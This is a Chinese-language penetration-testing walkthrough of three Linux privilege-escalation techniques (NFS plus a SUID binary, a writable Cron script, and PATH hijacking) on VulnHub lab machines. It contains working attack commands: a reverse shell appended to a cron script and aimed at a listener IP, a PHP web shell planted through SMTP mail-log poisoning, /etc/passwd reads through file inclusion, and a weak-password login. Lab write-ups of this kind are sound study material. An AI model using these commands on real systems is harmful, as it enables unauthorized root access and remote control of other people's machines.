本文复现 NFS、Cron 与 PATH 环境变量三种典型提权方式,对复现过程、利用条件、完整命令及思路做详解备份,适用于渗透测试学习与实验环境复现,不适用于生产攻击。
NFS 提权
📌 NFS 基础说明
NFS 是一种基于 TCP/IP 的网络文件系统协议,通过 NFS,客户端可以像本地磁盘一样访问远程共享目录。
VirtualBox 复现注意事项(坑点)
- VirtualBox 必须开启 两块网卡:
- NAT → 访问外网
- Host-Only → 内网互通
- 推荐开启 DHCP 动态获取 IP
- 官方下载地址:
https://www.virtualbox.org/wiki/Downloads - 若只开单网卡可能导致无法访问内网靶机
靶场环境
https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/
利用前置条件:
- NFS 服务开启
- 拥有普通用户权限或 WebShell 权限
1️⃣ 信息收集
nmap 192.168.1.6
http://192.168.1.6/file.php?file=/etc/passwd

2️⃣ 利用 NFS 服务
确认 NFS 开启

查看可挂载目录:
showmount -e 192.168.1.6

挂载共享目录:
mkdir nfs
sudo mount -t nfs 192.168..56.4:/mnt/nfs ./nfs
chmod 777 shell.php


3️⃣ 结合 SUID 提权
⚠ 重点提示:gcc 编译环境版本必须与目标系统内核接近,否则提权文件可能失效
示例 C 代码:
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("whoami");
}
目标机器系统信息:
Static hostname: hacksudo
Operating System: Ubuntu 20.10
Kernel: Linux 5.8.0-45-generic
Architecture: x86-64
Virtualization: oracle
使用 Docker 构建相同版本环境编译
创建 Dockerfile:
cat > Dockerfile <<'EOF'
FROM ubuntu:20.10
RUN sed -i 's|archive.ubuntu.com|old-releases.ubuntu.com|g' /etc/apt/sources.list && \
sed -i 's|security.ubuntu.com|old-releases.ubuntu.com|g' /etc/apt/sources.list && \
apt update && apt install -y build-essential && \
rm -rf /var/lib/apt/lists/*
WORKDIR /src
EOF
docker build -t ubuntu20.10-gcc .
编译:
docker run --rm -v "$(pwd)":/src -w /src ubuntu20.10-gcc bash -c "gcc -O2 -Wno-unused-result -o hzhsec hzhsec.c"
或本地直接尝试:
gcc hzhsec.c -o hzhsec

赋予 SUID 权限并触发
cp hzhsec /root/nfs
chmod +s hzhsec

验证:
find / -perm -u=s -type f 2>/dev/null
cd /mnt/nfs
./hzhsec
成功验证

Cron 定时任务提权
环境
https://www.vulnhub.com/entry/jarbas-1,232/
条件:
- 用户或 WebShell 权限
- 可修改 Cron 定时任务脚本
1️⃣ 信息收集
访问入口:
http://192.168.139.152/access.html

2️⃣ 获取用户或 Shell 权限
访问 Jenkins:
http://192.168.139.152:8080/
创建任务、构建 payload





3️⃣ Cron 提权流程
查看 Cron 配置:
cat /etc/crontab

查看可执行脚本权限:
cat /etc/script/CleaningScript.sh
ls -lia /etc/script/CleaningScript.sh


追加反弹 Shell:
echo "bash -i >& /dev/tcp/192.168.88.145/4567 0>&1" >> /etc/script/CleaningScript.sh

成功反弹 ✔
PATH 环境变量劫持提权
PATH 提权的核心原理:
仅适用于 SUID 可执行文件,不适用于 sudo
因为 sudo 使用 root 自己的安全环境变量
环境
https://www.vulnhub.com/entry/symfonos-1,322/
条件:
- 拥有用户权限
- 存在可被逆向分析出系统命令调用的 SUID 程序
1️⃣ 信息收集
smbclient -L 192.168.88.151

端口信息显示 SMB 存在

2️⃣ 访问共享与漏洞发现
smbclient //192.168.88.151/anonymous
smbclient //192.168.88.151/helios -U helios
猜测弱口令:
helios / qwerty
成功登录 /h3l105

发现 WordPress:
http://192.168.88.151/h3l105/
扫描插件:
wpscan --url http://192.168.88.151/h3l105/ --plugins-detection aggressive
发现 mail-masta 1.0 文件包含

查询漏洞:
searchsploit mail masta 1.0
利用:
http://192.168.88.151/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
3️⃣ 反弹 Shell
通过邮件服务写入 PHP payload:
/var/mail/helios
telnet 192.168.88.151 25
MAIL FROM: MALABIS
RCPT TO: helios
data
<?php system($_POST['shell']); ?>
.
QUIT

反弹:
python -c 'import socket,subprocess,os;s=socket.socket(...'

4️⃣ PATH 劫持提权核心步骤
交互式 Shell:
python -c 'import pty;pty.spawn("/bin/bash")'
寻找 SUID:
find / -perm -u=s -type f 2>/dev/null

发现 /opt/statuscheck
逆向分析:
strings /opt/statuscheck
找到被调用的命令 = curl

构造伪 curl:
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH

触发提权:
/opt/statuscheck
